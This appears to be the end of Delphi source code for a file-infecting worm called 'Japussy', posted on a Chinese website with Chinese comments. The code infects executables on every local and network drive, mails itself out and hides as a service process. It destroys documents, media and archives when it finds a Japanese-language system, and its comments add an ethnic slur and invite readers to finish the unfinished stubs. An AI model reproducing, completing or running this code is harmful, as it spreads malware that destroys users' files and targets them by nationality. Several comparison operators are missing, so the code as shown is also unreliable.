if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then

Result := Result + D;

end;

end;

{ 遍历目录,感染和摧毁文件 }

procedure LoopFiles(Path, Mask: string);

var

i, Count: Integer;

Fn, Ext: string;

SubDir: TStrings;

SearchRec: TSearchRec;

Msg: TMsg;

function IsValidDir(SearchRec: TSearchRec): Integer;

begin

if (SearchRec.Attr 16) and (SearchRec.Name ‘.’) and

(SearchRec.Name ‘..’) then

Result := 0 //不是目录

else if (SearchRec.Attr = 16) and (SearchRec.Name ‘.’) and

(SearchRec.Name ‘..’) then

Result := 1 //不是根目录

else Result := 2; //是根目录

end;

begin

if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then

begin

repeat

PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑

if IsValidDir(SearchRec) = 0 then

begin

Fn := Path + SearchRec.Name;

Ext := UpperCase(ExtractFileExt(Fn));

if (Ext = ‘.EXE’) or (Ext = ‘.SCR’) then

begin

InfectOneFile(Fn); //感染可执行文件

end

else if (Ext = ‘.HTM’) or (Ext = ‘.HTML’) or (Ext = ‘.ASP’) then

begin

//感染HTML和ASP文件,将Base64编码后的病毒写入

//感染浏览此网页的所有用户

//哪位大兄弟愿意完成之?

end

else if Ext = ‘.WAB’ then //Outlook地址簿文件

begin

//获取Outlook邮件地址

end

else if Ext = ‘.ADC’ then //Foxmail地址自动完成文件

begin

//获取Foxmail邮件地址

end

else if Ext = ‘IND’ then //Foxmail地址簿文件

begin

//获取Foxmail邮件地址

end

else

begin

if IsJap then //是倭文操作系统

begin

if (Ext = ‘.DOC’) or (Ext = ‘.XLS’) or (Ext = ‘.MDB’) or

(Ext = ‘.MP3’) or (Ext = ‘.RM’) or (Ext = ‘.RA’) or

(Ext = ‘.WMA’) or (Ext = ‘.ZIP’) or (Ext = ‘.RAR’) or

(Ext = ‘.MPEG’) or (Ext = ‘.ASF’) or (Ext = ‘.JPG’) or

(Ext = ‘.JPEG’) or (Ext = ‘.GIF’) or (Ext = ‘.SWF’) or

(Ext = ‘.PDF’) or (Ext = ‘.CHM’) or (Ext = ‘.AVI’) then

SmashFile(Fn); //摧毁文件

end;

end;

end;

//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑

Sleep(200);

until (FindNext(SearchRec) 0);

end;

FindClose(SearchRec);

SubDir := TStringList.Create;

if (FindFirst(Path + ‘*.*’, faDirectory, SearchRec) = 0) then

begin

repeat

if IsValidDir(SearchRec) = 1 then

SubDir.Add(SearchRec.Name);

until (FindNext(SearchRec) 0);

end;

FindClose(SearchRec);

Count := SubDir.Count – 1;

for i := 0 to Count do

LoopFiles(Path + SubDir.Strings + ‘/’, Mask);

FreeAndNil(SubDir);

end;

{ 遍历磁盘上所有的文件 }

procedure InfectFiles;

var

DriverList: string;

i, Len: Integer;

begin

if GetACP = 932 then //日文操作系统

IsJap := True; //去死吧!

DriverList := GetDrives; //得到可写的磁盘列表

Len := Length(DriverList);

while True do //死循环

begin

for i := Len downto 1 do //遍历每个磁盘驱动器

LoopFiles(DriverList + ‘:/’, ‘*.*’); //感染之

SendMail; //发带毒邮件

Sleep(1000 * 60 * 5); //睡眠5分钟

end;

end;

{ 主程序开始 }

begin

if IsWin9x then //是Win9x

RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程

else //WinNT

begin

//远程线程映射到Explorer进程

//哪位兄台愿意完成之?

end;

//如果是原始病毒体自己

if CompareText(ExtractFileName(ParamStr(0)), ‘Japussy.exe’) = 0 then

InfectFiles //感染和发邮件

else //已寄生于宿主程序上了,开始工作

begin

TmpFile := ParamStr(0); //创建临时文件

Delete(TmpFile, Length(TmpFile) – 4, 4);

TmpFile := TmpFile + #32 + ‘.exe’; //真正的宿主文件,多一个空格

ExtractFile(TmpFile); //分离之

FillStartupInfo(Si, SW_SHOWDEFAULT);

CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,

0, nil, ‘.’, Si, Pi); //创建新进程运行之

InfectFiles; //感染和发邮件

end;

end.

该文章由作者:【汝阳王】发布,本站仅提供存储、如有版权、错误、违法等相关信息请联系,本站会在1个工作日内进行整改,谢谢!

发表回复

登录后才能评论